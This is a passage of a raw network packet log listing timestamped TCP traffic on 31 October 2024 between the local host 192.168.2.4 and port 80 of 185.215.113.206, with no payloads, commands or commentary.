Oct 31, 2024 11:27:24.189718962 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.189728975 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189738035 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.189743042 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189764023 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.189776897 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.189806938 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189820051 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189845085 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.189860106 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.189898968 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189910889 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189923048 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189935923 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.189935923 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189949989 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189949989 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.189963102 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189966917 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.189985991 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.190007925 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.190172911 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190185070 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190196037 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190208912 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190218925 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.190227985 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190236092 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.190238953 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190253019 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190273046 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.190291882 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.190304041 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190315008 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190325975 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190339088 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190340996 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.190351009 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190363884 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190376043 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190376043 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.190390110 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190402031 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190411091 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.190414906 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190428972 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.190447092 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.190473080 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.190728903 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190741062 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190752983 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190763950 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190768957 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.190783024 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190788984 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.190797091 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190809011 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190814972 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.190819979 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.190845013 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.190870047 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.191065073 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.191078901 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.191091061 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.191103935 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.191103935 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.191116095 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.191128016 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.191132069 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.191145897 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.191157103 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.191162109 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.191173077 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.191201925 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.191278934 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.191291094 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.191303968 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.191329002 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.191329956 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.191343069 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.191345930 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.191370964 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.191395044 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.202986002 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.202999115 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.203017950 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.203027964 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.203042030 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.203069925 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.203114986 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.203125954 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.203139067 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.203150988 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.203170061 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.203187943 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.250017881 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.250037909 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.250128984 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.250171900 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.305136919 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305165052 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305177927 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305198908 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305212975 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305226088 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305227995 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.305239916 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305253983 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305311918 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305313110 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.305313110 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.305313110 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.305325031 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305346012 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305366039 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.305391073 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.305391073 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.305448055 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305459976 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305471897 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305486917 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305499077 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.305521011 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.305542946 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.305573940 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305593014 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305605888 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305619955 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305627108 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.305635929 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305649042 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.305675030 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.305695057 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.305700064 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305715084 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305726051 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305752039 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.305775881 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.305870056 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305881977 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305891991 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305905104 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305918932 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305922031 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.305932045 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305943966 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.305947065 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305960894 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305973053 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.305999994 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.305999994 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.306042910 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.306159019 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306170940 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306184053 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306195021 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306210041 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306216002 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.306221962 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306236029 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306240082 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.306260109 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.306282997 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306288004 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.306330919 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.306472063 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306484938 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306495905 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306509018 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306521893 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306524992 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.306535006 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306546926 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.306548119 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306564093 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306569099 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.306576014 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306588888 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306590080 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.306602001 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306610107 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.306615114 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306631088 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306644917 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306648016 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.306658030 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306670904 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.306688070 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.306708097 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.306844950 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306858063 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306869984 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306881905 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306900024 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.306927919 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.306982994 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.306999922 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307012081 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307023048 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307033062 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.307034969 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307048082 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307069063 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307073116 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.307085991 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307110071 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.307135105 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.307176113 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.307368040 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307380915 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307391882 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307408094 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307420015 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307420969 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.307431936 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307445049 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307445049 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.307459116 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307472944 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307473898 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.307486057 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307497978 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.307499886 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307512045 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307521105 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.307524920 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307538033 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307559013 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.307579994 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.307744980 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307759047 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307773113 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307785034 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307797909 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307797909 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.307816029 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307822943 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.307830095 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.307846069 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.307881117 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.308080912 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.308094978 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.308111906 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.308124065 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.308134079 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.308135986 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.308149099 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.308162928 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.308163881 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.308187008 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.308187008 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.308199883 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.308212996 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.308223009 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.308228016 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.308242083 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.308243990 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.308254957 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.308269024 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.308279991 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.308284044 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.308284044 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.308298111 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.308310986 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.308319092 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.308326960 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.308340073 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.308343887 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.308352947 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.308362007 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.308387995 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.308412075 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.308600903 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.308614016 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.308656931 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.320152044 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.320192099 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.320211887 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.320223093 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.320225954 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.320239067 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.320245981 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.320252895 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.320266962 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.320272923 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.320281982 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.320296049 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.320313931 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.320348024 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.410023928 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.410043001 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.410211086 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.422533989 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.422553062 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.422564030 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.422575951 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.422643900 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.422723055 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.462683916 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.467806101 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738188028 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738217115 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738228083 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738240957 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738255978 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738267899 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738307953 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738322973 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738334894 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738382101 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.738435030 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738450050 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738461971 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738534927 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.738534927 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.738534927 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.738564968 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738576889 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738589048 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738601923 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738609076 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738614082 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738622904 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.738635063 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.738667011 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.738706112 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738722086 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738743067 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738754988 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.738758087 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738771915 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738790035 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.738825083 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.738925934 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738943100 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738955021 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738966942 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738976002 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.738981009 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.738993883 CET	80	49757	185.215.113.206	192.168.2.4
